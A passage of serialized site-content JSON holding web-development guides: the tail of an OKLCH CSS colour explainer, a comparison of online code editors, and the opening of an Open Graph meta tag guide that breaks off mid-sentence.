*\u002F\n",[11,160237,5512],{"id":5511},[193,160239,160240,160251],{},[196,160241,160242],{},[199,160243,160244,160246,160248],{},[202,160245,5524],{},[202,160247,5527],{},[202,160249,160250],{},"CSS Support",[211,160252,160253,160264,160272,160280],{},[199,160254,160255,160257,160259],{},[216,160256,5534],{},[216,160258,51350],{},[216,160260,160261,160263],{},[143,160262,51040],{}," in color values",[199,160265,160266,160268,160270],{},[216,160267,5542],{},[216,160269,51353],{},[216,160271,102487],{},[199,160273,160274,160276,160278],{},[216,160275,5550],{},[216,160277,51356],{},[216,160279,102487],{},[199,160281,160282,160284,160286],{},[216,160283,5558],{},[216,160285,51350],{},[216,160287,102487],{},[16,160289,160290],{},"For older browsers, provide hex\u002Fhsl fallbacks:",[135,160292,160294],{"className":1554,"code":160293,"language":1556,"meta":141,"style":141},":root {\n  --brand-500: #3366ff;              \u002F* Fallback *\u002F\n  --brand-500: oklch(0.55 0.2 260); \u002F* Modern override *\u002F\n}\n",[143,160295,160296,160302,160316,160337],{"__ignoreMap":141},[1560,160297,160298,160300],{"class":1562,"line":1563},[1560,160299,2207],{"class":1566},[1560,160301,1571],{"class":1570},[1560,160303,160304,160306,160308,160310,160313],{"class":1562,"line":337},[1560,160305,159822],{"class":2219},[1560,160307,1663],{"class":1570},[1560,160309,102888],{"class":1576},[1560,160311,160312],{"class":1570},";              ",[1560,160314,160315],{"class":1649},"\u002F* Fallback *\u002F\n",[1560,160317,160318,160320,160322,160324,160326,160328,160330,160332,160334],{"class":1562,"line":343},[1560,160319,159822],{"class":2219},[1560,160321,1663],{"class":1570},[1560,160323,30410],{"class":1576},[1560,160325,1688],{"class":1570},[1560,160327,51069],{"class":1576},[1560,160329,30419],{"class":1576},[1560,160331,102872],{"class":1576},[1560,160333,5171],{"class":1570},[1560,160335,160336],{"class":1649},"\u002F* Modern override *\u002F\n",[1560,160338,160339],{"class":1562,"line":365},[1560,160340,1585],{"class":1570},[16,160342,160343,160344,160346],{},"Browsers that don't understand ",[143,160345,51040],{}," will use the first declaration; those that do will use the second.",[11,160348,99514],{"id":99513},[193,160350,160351,160362],{},[196,160352,160353],{},[199,160354,160355,160357,160360],{},[202,160356,679],{},[202,160358,160359],{},"To OKLCH",[202,160361,7441],{},[211,160363,160364,160379,160388],{},[199,160365,160366,160368,160370],{},[216,160367,4031],{},[216,160369,55028],{},[216,160371,160372,160373,1459,160376,1525],{},"Use a color converter tool or library (",[143,160374,160375],{},"culori",[143,160377,160378],{},"colorjs.io",[199,160380,160381,160383,160385],{},[216,160382,29358],{},[216,160384,55028],{},[216,160386,160387],{},"Same — the math requires intermediate LAB conversion",[199,160389,160390,160392,160394],{},[216,160391,29369],{},[216,160393,55028],{},[216,160395,160396],{},"Direct conversion not possible; go HSL → RGB → OKLCH",[16,160398,160399,160400,160402],{},"For build-time conversion, ",[143,160401,160375],{}," works well:",[135,160404,160406],{"className":1607,"code":160405,"language":1609,"meta":141,"style":141},"import { converter } from 'culori'\n\nconst toOklch = converter('oklch')\ntoOklch('#3366ff') \u002F\u002F { mode: 'oklch', l: 0.55, c: 0.20, h: 260 }\n",[143,160407,160408,160420,160424,160443],{"__ignoreMap":141},[1560,160409,160410,160412,160415,160417],{"class":1562,"line":1563},[1560,160411,8162],{"class":1669},[1560,160413,160414],{"class":1570}," { converter } ",[1560,160416,8168],{"class":1669},[1560,160418,160419],{"class":5634}," 'culori'\n",[1560,160421,160422],{"class":1562,"line":337},[1560,160423,1702],{"emptyLinePlaceholder":363},[1560,160425,160426,160428,160431,160433,160436,160438,160441],{"class":1562,"line":343},[1560,160427,8180],{"class":1669},[1560,160429,160430],{"class":1576}," toOklch",[1560,160432,8186],{"class":1669},[1560,160434,160435],{"class":1566}," converter",[1560,160437,1688],{"class":1570},[1560,160439,160440],{"class":5634},"'oklch'",[1560,160442,8252],{"class":1570},[1560,160444,160445,160448,160450,160453,160455],{"class":1562,"line":365},[1560,160446,160447],{"class":1566},"toOklch",[1560,160449,1688],{"class":1570},[1560,160451,160452],{"class":5634},"'#3366ff'",[1560,160454,1733],{"class":1570},[1560,160456,160457],{"class":1649},"\u002F\u002F { mode: 'oklch', l: 0.55, c: 0.20, h: 260 }\n",[11,160459,321],{"id":320},[41,160461,160462,160466,160470],{},[44,160463,160464],{},[98,160465,28689],{"href":29551},[44,160467,160468],{},[98,160469,29512],{"href":29511},[44,160471,160472],{},[98,160473,102178],{"href":102976},[11,160475,286],{"id":285},[16,160477,160478],{},"Convert any color to OKLCH and see the perceptually uniform difference. Our color picker supports hex, RGB, HSL, and OKLCH with live preview.",[16,160480,4531,160481],{},[98,160482,160483],{"href":32107},[47,160484,102948],{},[2043,160486,160487],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":160489},[160490,160491,160494,160497,160502,160503,160504,160505],{"id":159404,"depth":337,"text":159405},{"id":159421,"depth":337,"text":159422,"children":160492},[160493],{"id":159501,"depth":343,"text":159502},{"id":159591,"depth":337,"text":159592,"children":160495},[160496],{"id":159683,"depth":343,"text":159684},{"id":159694,"depth":337,"text":159695,"children":160498},[160499,160500,160501],{"id":159698,"depth":343,"text":159699},{"id":159950,"depth":343,"text":159951},{"id":160095,"depth":343,"text":160096},{"id":5511,"depth":337,"text":5512},{"id":99513,"depth":337,"text":99514},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Why OKLCH is the future of CSS colors and how it solves perceived uniformity problems.",{"immutable":363},{"title":102936,"description":160506},"guides\u002Foklch-color-space-explained","dCjGR3980i_za8RplXhdJYXM5ZJHcriG-01Mg6fXXU0",{"id":160512,"title":160513,"body":160514,"date":2070,"description":161083,"extension":361,"meta":161084,"navigation":363,"path":161085,"readingTime":1717,"seo":161086,"stem":161087,"__hash__":161088},"guides\u002Fguides\u002Fonline-code-editors-compared.md","Online Code Editors Compared",{"type":8,"value":160515,"toc":161056},[160516,160520,160523,160526,160530,160708,160711,160716,160719,160723,160743,160745,160758,160761,160764,160769,160772,160775,160789,160791,160802,160805,160810,160813,160816,160830,160833,160847,160850,160855,160858,160861,160875,160878,160892,160895,160900,160903,160906,160920,160923,160937,160941,161020,161023,161025,161045,161047],[11,160517,160519],{"id":160518},"why-use-an-online-code-editor","Why Use an Online Code Editor?",[16,160521,160522],{},"Online code editors let you write, preview, and share code without installing anything. They run in your browser, render results instantly, and generate shareable links with one click.",[16,160524,160525],{},"These tools range from lightweight snippet testers to full-stack development environments. Choosing the right one depends on what you need: a quick CSS fix or a complete React application.",[11,160527,160529],{"id":160528},"comparison-table","Comparison Table",[193,160531,160532,160553],{},[196,160533,160534],{},[199,160535,160536,160538,160541,160544,160547,160550],{},[202,160537,5867],{},[202,160539,160540],{},"ToolBoxes HTML Preview",[202,160542,160543],{},"CodePen",[202,160545,160546],{},"JSFiddle",[202,160548,160549],{},"StackBlitz",[202,160551,160552],{},"CodeSandbox",[211,160554,160555,160570,160585,160601,160617,160632,160647,160662,160678,160693],{},[199,160556,160557,160559,160561,160564,160566,160568],{},[216,160558,102631],{},[216,160560,16450],{},[216,160562,160563],{},"Free \u002F Pro",[216,160565,16450],{},[216,160567,160563],{},[216,160569,160563],{},[199,160571,160572,160575,160577,160579,160581,160583],{},[216,160573,160574],{},"Signup required",[216,160576,6117],{},[216,160578,3057],{},[216,160580,6117],{},[216,160582,3057],{},[216,160584,3057],{},[199,160586,160587,160590,160592,160594,160596,160599],{},[216,160588,160589],{},"HTML\u002FCSS\u002FJS panels",[216,160591,3057],{},[216,160593,3057],{},[216,160595,3057],{},[216,160597,160598],{},"Full editor",[216,160600,160598],{},[199,160602,160603,160606,160608,160610,160613,160615],{},[216,160604,160605],{},"Real-time preview",[216,160607,3057],{},[216,160609,3057],{},[216,160611,160612],{},"On save",[216,160614,160612],{},[216,160616,160612],{},[199,160618,160619,160622,160624,160626,160628,160630],{},[216,160620,160621],{},"npm packages",[216,160623,6117],{},[216,160625,84702],{},[216,160627,6117],{},[216,160629,3057],{},[216,160631,3057],{},[199,160633,160634,160637,160639,160641,160643,160645],{},[216,160635,160636],{},"Framework templates",[216,160638,6117],{},[216,160640,84702],{},[216,160642,6117],{},[216,160644,3057],{},[216,160646,3057],{},[199,160648,160649,160652,160654,160656,160658,160660],{},[216,160650,160651],{},"Terminal access",[216,160653,6117],{},[216,160655,6117],{},[216,160657,6117],{},[216,160659,3057],{},[216,160661,3057],{},[199,160663,160664,160667,160670,160672,160674,160676],{},[216,160665,160666],{},"Shareable URL",[216,160668,160669],{},"Copy code",[216,160671,3057],{},[216,160673,3057],{},[216,160675,3057],{},[216,160677,3057],{},[199,160679,160680,160683,160685,160687,160689,160691],{},[216,160681,160682],{},"Offline support",[216,160684,3057],{},[216,160686,6117],{},[216,160688,6117],{},[216,160690,6117],{},[216,160692,6117],{},[199,160694,160695,160698,160700,160702,160704,160706],{},[216,160696,160697],{},"Embeddable",[216,160699,6117],{},[216,160701,3057],{},[216,160703,3057],{},[216,160705,3057],{},[216,160707,3057],{},[11,160709,160540],{"id":160710},"toolboxes-html-preview",[16,160712,160713,160715],{},[47,160714,84807],{}," Quick HTML\u002FCSS\u002FJS snippet testing with zero friction.",[16,160717,160718],{},"ToolBoxes HTML Preview gives you a single editor and a live preview pane. Paste your code, see the result — no account, no save button, no setup.",[33,160720,160722],{"id":160721},"strengths","Strengths",[41,160724,160725,160728,160731,160734,160740],{},[44,160726,160727],{},"No signup or login — open the page and start typing",[44,160729,160730],{},"Instant preview — changes render as you type",[44,160732,160733],{},"Fully sandboxed — your code cannot affect the host page",[44,160735,160736,160737,160739],{},"Works offline — ",[143,160738,126923],{}," rendering needs no network request",[44,160741,160742],{},"Privacy-friendly — your code never leaves your browser",[33,160744,61655],{"id":64222},[41,160746,160747,160752,160755],{},[44,160748,160749,160750],{},"Single-file only — no imports, no bundler, no ",[143,160751,70261],{},[44,160753,160754],{},"No framework templates — plain HTML, CSS, and JavaScript only",[44,160756,160757],{},"No persistence — refreshing the page clears your work unless you copy it",[16,160759,160760],{},"Use it when you need to test a layout, debug a snippet, or share a standalone piece of markup.",[11,160762,160543],{"id":160763},"codepen",[16,160765,160766,160768],{},[47,160767,84807],{}," Front-end展示和嵌入式演示。",[16,160770,160771],{},"CodePen splits your work into three panes — HTML, CSS, and JavaScript — with a live preview below. Its social features let you browse and fork other developers' pens.",[33,160773,160722],{"id":160774},"strengths-1",[41,160776,160777,160780,160783,160786],{},[44,160778,160779],{},"Large community — browse thousands of public pens for inspiration",[44,160781,160782],{},"Emmet and preprocessors — Sass, Less, PostCSS, Babel out of the box",[44,160784,160785],{},"Embeddable — drop a pen into a blog post or documentation site",[44,160787,160788],{},"Presentation mode — great for live demos and talks",[33,160790,61655],{"id":99421},[41,160792,160793,160796,160799],{},[44,160794,160795],{},"Account required to save and share",[44,160797,160798],{},"Free tier limits external resources and has no private pens",[44,160800,160801],{},"Single-document model — no multi-file projects on the free plan",[11,160803,160546],{"id":160804},"jsfiddle",[16,160806,160807,160809],{},[47,160808,84807],{}," Quick collaborative debugging of isolated problems.",[16,160811,160812],{},"JSFiddle follows the same three-pane layout as CodePen but emphasizes collaboration. Share a link, and your teammate can edit the same fiddle in real time.",[33,160814,160722],{"id":160815},"strengths-2",[41,160817,160818,160821,160824,160827],{},[44,160819,160820],{},"No signup required for basic use",[44,160822,160823],{},"Real-time collaboration on the free tier",[44,160825,160826],{},"Clean, minimal interface with few distractions",[44,160828,160829],{},"Version history — track changes across iterations",[33,160831,61655],{"id":160832},"limitations-2",[41,160834,160835,160838,160841,160844],{},[44,160836,160837],{},"Preview updates on save, not as you type",[44,160839,160840],{},"No npm package support",[44,160842,160843],{},"Limited framework integration compared to full sandboxes",[44,160845,160846],{},"UI feels dated compared to newer tools",[11,160848,160549],{"id":160849},"stackblitz",[16,160851,160852,160854],{},[47,160853,84807],{}," Full-stack development and npm-based projects in the browser.",[16,160856,160857],{},"StackBlitz runs a complete Node.js environment inside WebContainers. You get a terminal, a file explorer, and a full VS Code–style editor — all in the browser.",[33,160859,160722],{"id":160860},"strengths-3",[41,160862,160863,160866,160869,160872],{},[44,160864,160865],{},"Full Node.js runtime — run Express servers, Next.js apps, or Vite projects",[44,160867,160868],{},"npm install works — add any package from the registry",[44,160870,160871],{},"VS Code keybindings — familiar editing experience",[44,160873,160874],{},"Instant project templates — React, Vue, Angular, Svelte, and more",[33,160876,61655],{"id":160877},"limitations-3",[41,160879,160880,160883,160886,160889],{},[44,160881,160882],{},"Account required to save projects",[44,160884,160885],{},"Heavier initial load compared to lightweight editors",[44,160887,160888],{},"Some native Node APIs are not available in the browser runtime",[44,160890,160891],{},"Free tier has resource and storage limits",[11,160893,160552],{"id":160894},"codesandbox",[16,160896,160897,160899],{},[47,160898,84807],{}," Rich framework prototyping and team collaboration.",[16,160901,160902],{},"CodeSandbox offers a cloud IDE built for web development. It supports multi-file projects, live collaboration, and GitHub integration.",[33,160904,160722],{"id":160905},"strengths-4",[41,160907,160908,160911,160914,160917],{},[44,160909,160910],{},"Deep GitHub integration — import repos, push changes, open PRs",[44,160912,160913],{},"Live collaboration — multiple editors on the same sandbox",[44,160915,160916],{},"Smart dependency management — auto-detects and installs packages",[44,160918,160919],{},"Deploy to production — connect to Vercel or Netlify from the sandbox",[33,160921,61655],{"id":160922},"limitations-4",[41,160924,160925,160928,160931,160934],{},[44,160926,160927],{},"Account required",[44,160929,160930],{},"Free tier limits private sandboxes and compute resources",[44,160932,160933],{},"Slower cold starts compared to lightweight editors",[44,160935,160936],{},"Overkill for simple snippet testing",[11,160938,160940],{"id":160939},"when-to-use-which","When to Use Which",[193,160942,160943,160953],{},[196,160944,160945],{},[199,160946,160947,160950],{},[202,160948,160949],{},"Your Need",[202,160951,160952],{},"Recommended Tool",[211,160954,160955,160962,160969,160976,160983,160990,160998,161005,161012],{},[199,160956,160957,160960],{},[216,160958,160959],{},"Test a CSS snippet quickly",[216,160961,160540],{},[199,160963,160964,160967],{},[216,160965,160966],{},"Share a standalone HTML demo",[216,160968,160540],{},[199,160970,160971,160974],{},[216,160972,160973],{},"Browse frontend inspiration",[216,160975,160543],{},[199,160977,160978,160981],{},[216,160979,160980],{},"Embed a demo in documentation",[216,160982,160543],{},[199,160984,160985,160988],{},[216,160986,160987],{},"Debug a problem collaboratively",[216,160989,160546],{},[199,160991,160992,160995],{},[216,160993,160994],{},"Build a React\u002FVue app in the browser",[216,160996,160997],{},"StackBlitz or CodeSandbox",[199,160999,161000,161003],{},[216,161001,161002],{},"Prototype a full-stack project",[216,161004,160549],{},[199,161006,161007,161010],{},[216,161008,161009],{},"Work on a GitHub repo online",[216,161011,160552],{},[199,161013,161014,161017],{},[216,161015,161016],{},"Preview a Markdown document",[216,161018,161019],{},"ToolBoxes Markdown Preview",[16,161021,161022],{},"The simpler your task, the simpler the tool. Reach for a full sandbox only when you need npm, a terminal, or multi-file support.",[11,161024,1355],{"id":1354},[41,161026,161027,161030,161033,161036,161039,161042],{},[44,161028,161029],{},"Online code editors span a spectrum from instant snippet testers to cloud IDEs",[44,161031,161032],{},"ToolBoxes HTML Preview is the fastest path from idea to rendered output — no account, no setup",[44,161034,161035],{},"CodePen excels at community-driven frontend demos and embeddable pens",[44,161037,161038],{},"JSFiddle offers lightweight collaboration with minimal friction",[44,161040,161041],{},"StackBlitz and CodeSandbox provide full-stack environments for serious development work",[44,161043,161044],{},"Match the tool to the task: simple snippet → simple editor, complex project → full sandbox",[11,161046,286],{"id":285},[16,161048,161049,161050,161052,161053,161055],{},"Test HTML snippets instantly with our free ",[98,161051,109028],{"href":109027}," tool — no signup, no setup, just code and preview. For Markdown content, try the ",[98,161054,110366],{"href":110365}," tool to see your formatted text rendered live.",{"title":141,"searchDepth":337,"depth":337,"links":161057},[161058,161059,161060,161064,161068,161072,161076,161080,161081,161082],{"id":160518,"depth":337,"text":160519},{"id":160528,"depth":337,"text":160529},{"id":160710,"depth":337,"text":160540,"children":161061},[161062,161063],{"id":160721,"depth":343,"text":160722},{"id":64222,"depth":343,"text":61655},{"id":160763,"depth":337,"text":160543,"children":161065},[161066,161067],{"id":160774,"depth":343,"text":160722},{"id":99421,"depth":343,"text":61655},{"id":160804,"depth":337,"text":160546,"children":161069},[161070,161071],{"id":160815,"depth":343,"text":160722},{"id":160832,"depth":343,"text":61655},{"id":160849,"depth":337,"text":160549,"children":161073},[161074,161075],{"id":160860,"depth":343,"text":160722},{"id":160877,"depth":343,"text":61655},{"id":160894,"depth":337,"text":160552,"children":161077},[161078,161079],{"id":160905,"depth":343,"text":160722},{"id":160922,"depth":343,"text":61655},{"id":160939,"depth":337,"text":160940},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Compare free online code editors and playgrounds — from simple HTML preview to full-stack sandboxes.",{"immutable":363},"\u002Fguides\u002Fonline-code-editors-compared",{"title":160513,"description":161083},"guides\u002Fonline-code-editors-compared","TRi2kxRBuz5Hzs7JSnsPV9knQeJugAiiia0f0dRlNN4",{"id":161090,"title":152847,"body":161091,"date":2070,"description":161975,"extension":361,"meta":161976,"navigation":363,"path":152846,"readingTime":1717,"seo":161977,"stem":161978,"__hash__":161979},"guides\u002Fguides\u002Fopen-graph-tags-guide.md",{"type":8,"value":161092,"toc":161958},[161093,161097,161100,161103,161107,161110,161180,161272,161281,161285,161295,161367,161370,161463,161467,161470,161476,161482,161488,161494,161586,161596,161600,161603,161606,161647,161742,161751,161766,161770,161773,161777,161786,161790,161799,161803,161811,161815,161839,161843,161896,161898,161936,161938,161944,161946,161956],[11,161094,161096],{"id":161095},"what-is-open-graph","What Is Open Graph?",[16,161098,161099],{},"Open Graph (OG) is a protocol created by Facebook in 2010. It lets you control how your webpage looks when someone shares it on social media. Without OG tags, platforms guess — they might pull the wrong title, a broken image, or an irrelevant description.",[16,161101,161102],{},"Any platform that renders link previews — Facebook, LinkedIn, Discord, Slack, Twitter, and others — reads Open Graph tags. Setting them correctly ensures your shared links always look professional and clickable.",[11,161104,161106],{"id":161105},"core-og-tags","Core OG Tags",[16,161108,161109],{},"Four tags form the minimum viable set. Include them on every page:",[193,161111,161112,161122],{},[196,161113,161114],{},[199,161115,161116,161118,161120],{},[202,161117,152293],{},[202,161119,2758],{},[202,161121,133],{},[211,161123,161124,161137,161150,161165],{},[199,161125,161126,161131,161134],{},[216,161127,161128],{},[143,161129,161130],{},"og:title",[216,161132,161133],{},"Headline shown in the preview",[216,161135,161136],{},"\"JSON Formatter Online - Free Tool\"",[199,161138,161139,161144,161147],{},[216,161140,161141],{},[143,161142,161143],{},"og:description",[216,161145,161146],{},"Summary beneath the headline",[216,161148,161149],{},"\"Format and validate JSON instantly.\"",[199,161151,161152,161157,161160],{},[216,161153,161154],{},[143,161155,161156],{},"og:image",[216,161158,161159],{},"Thumbnail image URL",[216,161161,161162],{},[143,161163,161164],{},"https:\u002F\u002Fexample.com\u002Fog-image.png",[199,161166,161167,161172,161175],{},[216,161168,161169],{},[143,161170,161171],{},"og:url",[216,161173,161174],{},"Canonical URL of the page",[216,161176,161177],{},[143,161178,161179],{},"https:\u002F\u002Fexample.com\u002Ftools\u002Fjson-formatter",[135,161181,161183],{"className":6417,"code":161182,"language":6419,"meta":141,"style":141},"\u003Cmeta property=\"og:title\" content=\"JSON Formatter Online - Free Tool\">\n\u003Cmeta property=\"og:description\" content=\"Format and validate JSON instantly. No signup needed.\">\n\u003Cmeta property=\"og:image\" content=\"https:\u002F\u002Fexample.com\u002Fog-image.png\">\n\u003Cmeta property=\"og:url\" content=\"https:\u002F\u002Fexample.com\u002Ftools\u002Fjson-formatter\">\n",[143,161184,161185,161206,161228,161250],{"__ignoreMap":141},[1560,161186,161187,161189,161191,161193,161195,161198,161200,161202,161204],{"class":1562,"line":1563},[1560,161188,6431],{"class":1570},[1560,161190,108827],{"class":2484},[1560,161192,67469],{"class":1566},[1560,161194,7297],{"class":1570},[1560,161196,161197],{"class":5634},"\"og:title\"",[1560,161199,108854],{"class":1566},[1560,161201,7297],{"class":1570},[1560,161203,161136],{"class":5634},[1560,161205,6441],{"class":1570},[1560,161207,161208,161210,161212,161214,161216,161219,161221,161223,161226],{"class":1562,"line":337},[1560,161209,6431],{"class":1570},[1560,161211,108827],{"class":2484},[1560,161213,67469],{"class":1566},[1560,161215,7297],{"class":1570},[1560,161217,161218],{"class":5634},"\"og:description\"",[1560,161220,108854],{"class":1566},[1560,161222,7297],{"class":1570},[1560,161224,161225],{"class":5634},"\"Format and validate JSON instantly. No signup needed.\"",[1560,161227,6441],{"class":1570},[1560,161229,161230,161232,161234,161236,161238,161241,161243,161245,161248],{"class":1562,"line":343},[1560,161231,6431],{"class":1570},[1560,161233,108827],{"class":2484},[1560,161235,67469],{"class":1566},[1560,161237,7297],{"class":1570},[1560,161239,161240],{"class":5634},"\"og:image\"",[1560,161242,108854],{"class":1566},[1560,161244,7297],{"class":1570},[1560,161246,161247],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fog-image.png\"",[1560,161249,6441],{"class":1570},[1560,161251,161252,161254,161256,161258,161260,161263,161265,161267,161270],{"class":1562,"line":365},[1560,161253,6431],{"class":1570},[1560,161255,108827],{"class":2484},[1560,161257,67469],{"class":1566},[1560,161259,7297],{"class":1570},[1560,161261,161262],{"class":5634},"\"og:url\"",[1560,161264,108854],{"class":1566},[1560,161266,7297],{"class":1570},[1560,161268,161269],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Ftools\u002Fjson-formatter\"",[1560,161271,6441],{"class":1570},[16,161273,161274,161275,161277,161278,161280],{},"Skip any of these four and you risk broken or empty previews. Platforms fall back to scraping ",[143,161276,12666],{}," and the first ",[143,161279,128843],{}," tag — results are unpredictable.",[11,161282,161284],{"id":161283},"ogtype-values","og:type Values",[16,161286,421,161287,161290,161291,161294],{},[143,161288,161289],{},"og:type"," tag tells the platform what kind of content you are sharing. The default is ",[143,161292,161293],{},"website",", which covers most pages:",[193,161296,161297,161306],{},[196,161298,161299],{},[199,161300,161301,161303],{},[202,161302,1769],{},[202,161304,161305],{},"Use When",[211,161307,161308,161317,161327,161337,161347,161357],{},[199,161309,161310,161314],{},[216,161311,161312],{},[143,161313,161293],{},[216,161315,161316],{},"General web pages (default)",[199,161318,161319,161324],{},[216,161320,161321],{},[143,161322,161323],{},"article",[216,161325,161326],{},"Blog posts, news stories, guides",[199,161328,161329,161334],{},[216,161330,161331],{},[143,161332,161333],{},"product",[216,161335,161336],{},"E-commerce product pages",[199,161338,161339,161344],{},[216,161340,161341],{},[143,161342,161343],{},"profile",[216,161345,161346],{},"User or organization profiles",[199,161348,161349,161354],{},[216,161350,161351],{},[143,161352,161353],{},"video.movie",[216,161355,161356],{},"Movie or video content",[199,161358,161359,161364],{},[216,161360,161361],{},[143,161362,161363],{},"music.song",[216,161365,161366],{},"Individual music tracks",[16,161368,161369],{},"For articles, add these supplementary tags:",[135,161371,161373],{"className":6417,"code":161372,"language":6419,"meta":141,"style":141},"\u003Cmeta property=\"og:type\" content=\"article\">\n\u003Cmeta property=\"article:published_time\" content=\"2026-05-28T09:00:00Z\">\n\u003Cmeta property=\"article:author\" content=\"Jane Doe\">\n\u003Cmeta property=\"article:section\" content=\"Web Development\">\n",[143,161374,161375,161397,161419,161441],{"__ignoreMap":141},[1560,161376,161377,161379,161381,161383,161385,161388,161390,161392,161395],{"class":1562,"line":1563},[1560,161378,6431],{"class":1570},[1560,161380,108827],{"class":2484},[1560,161382,67469],{"class":1566},[1560,161384,7297],{"class":1570},[1560,161386,161387],{"class":5634},"\"og:type\"",[1560,161389,108854],{"class":1566},[1560,161391,7297],{"class":1570},[1560,161393,161394],{"class":5634},"\"article\"",[1560,161396,6441],{"class":1570},[1560,161398,161399,161401,161403,161405,161407,161410,161412,161414,161417],{"class":1562,"line":337},[1560,161400,6431],{"class":1570},[1560,161402,108827],{"class":2484},[1560,161404,67469],{"class":1566},[1560,161406,7297],{"class":1570},[1560,161408,161409],{"class":5634},"\"article:published_time\"",[1560,161411,108854],{"class":1566},[1560,161413,7297],{"class":1570},[1560,161415,161416],{"class":5634},"\"2026-05-28T09:00:00Z\"",[1560,161418,6441],{"class":1570},[1560,161420,161421,161423,161425,161427,161429,161432,161434,161436,161439],{"class":1562,"line":343},[1560,161422,6431],{"class":1570},[1560,161424,108827],{"class":2484},[1560,161426,67469],{"class":1566},[1560,161428,7297],{"class":1570},[1560,161430,161431],{"class":5634},"\"article:author\"",[1560,161433,108854],{"class":1566},[1560,161435,7297],{"class":1570},[1560,161437,161438],{"class":5634},"\"Jane Doe\"",[1560,161440,6441],{"class":1570},[1560,161442,161443,161445,161447,161449,161451,161454,161456,161458,161461],{"class":1562,"line":365},[1560,161444,6431],{"class":1570},[1560,161446,108827],{"class":2484},[1560,161448,67469],{"class":1566},[1560,161450,7297],{"class":1570},[1560,161452,161453],{"class":5634},"\"article:section\"",[1560,161455,108854],{"class":1566},[1560,161457,7297],{"class":1570},[1560,161459,161460],{"class":5634},"\"Web Development\"",[1560,161462,6441],{"class":1570},[11,161464,161466],{"id":161465},"og-image-best-practices","OG Image Best Practices",[16,161468,161469],{},"The image tag deserves special attention because visuals drive clicks. A strong OG image can increase share engagement by 2–3x.",[16,161471,161472,161475],{},[47,161473,161474],{},"Dimensions:"," Use 1200 × 630 pixels. This ratio works across Facebook, LinkedIn, and most platforms. Images smaller than 600 × 315 may appear blurry or get rejected.",[16,161477,161478,161481],{},[47,161479,161480],{},"File size:"," Keep images under 5 MB. Large files slow down preview rendering and some platforms time out.",[16,161483,161484,161487],{},[47,161485,161486],{},"Text safety zone:"," Place all text within the center 80% of the image. Platforms crop edges differently — Facebook trims top and bottom on mobile, LinkedIn crops from the sides.",[16,161489,161490,161493],{},[47,161491,161492],{},"Format:"," PNG or JPEG. Use PNG for graphics with text, JPEG for photographs.",[135,161495,161497],{"className":6417,"code":161496,"language":6419,"meta":141,"style":141},"\u003Cmeta property=\"og:image\" content=\"https:\u002F\u002Fexample.com\u002Fimages\u002Fog-json-formatter.png\">\n\u003Cmeta property=\"og:image:width\" content=\"1200\">\n\u003Cmeta property=\"og:image:height\" content=\"630\">\n\u003Cmeta property=\"og:image:alt\" content=\"JSON Formatter tool screenshot showing formatted code output\">\n",[143,161498,161499,161520,161542,161564],{"__ignoreMap":141},[1560,161500,161501,161503,161505,161507,161509,161511,161513,161515,161518],{"class":1562,"line":1563},[1560,161502,6431],{"class":1570},[1560,161504,108827],{"class":2484},[1560,161506,67469],{"class":1566},[1560,161508,7297],{"class":1570},[1560,161510,161240],{"class":5634},[1560,161512,108854],{"class":1566},[1560,161514,7297],{"class":1570},[1560,161516,161517],{"class":5634},"\"https:\u002F\u002Fexample.com\u002Fimages\u002Fog-json-formatter.png\"",[1560,161519,6441],{"class":1570},[1560,161521,161522,161524,161526,161528,161530,161533,161535,161537,161540],{"class":1562,"line":337},[1560,161523,6431],{"class":1570},[1560,161525,108827],{"class":2484},[1560,161527,67469],{"class":1566},[1560,161529,7297],{"class":1570},[1560,161531,161532],{"class":5634},"\"og:image:width\"",[1560,161534,108854],{"class":1566},[1560,161536,7297],{"class":1570},[1560,161538,161539],{"class":5634},"\"1200\"",[1560,161541,6441],{"class":1570},[1560,161543,161544,161546,161548,161550,161552,161555,161557,161559,161562],{"class":1562,"line":343},[1560,161545,6431],{"class":1570},[1560,161547,108827],{"class":2484},[1560,161549,67469],{"class":1566},[1560,161551,7297],{"class":1570},[1560,161553,161554],{"class":5634},"\"og:image:height\"",[1560,161556,108854],{"class":1566},[1560,161558,7297],{"class":1570},[1560,161560,161561],{"class":5634},"\"630\"",[1560,161563,6441],{"class":1570},[1560,161565,161566,161568,161570,161572,161574,161577,161579,161581,161584],{"class":1562,"line":365},[1560,161567,6431],{"class":1570},[1560,161569,108827],{"class":2484},[1560,161571,67469],{"class":1566},[1560,161573,7297],{"class":1570},[1560,161575,161576],{"class":5634},"\"og:image:alt\"",[1560,161578,108854],{"class":1566},[1560,161580,7297],{"class":1570},[1560,161582,161583],{"class":5634},"\"JSON Formatter tool screenshot showing formatted code output\"",[1560,161585,6441],{"class":1570},[16,161587,161588,161589,1856,161592,161595],{},"Including ",[143,161590,161591],{},"og:image:width",[143,161593,161594],{},"og:image:height"," helps platforms render previews faster because they skip dimensional 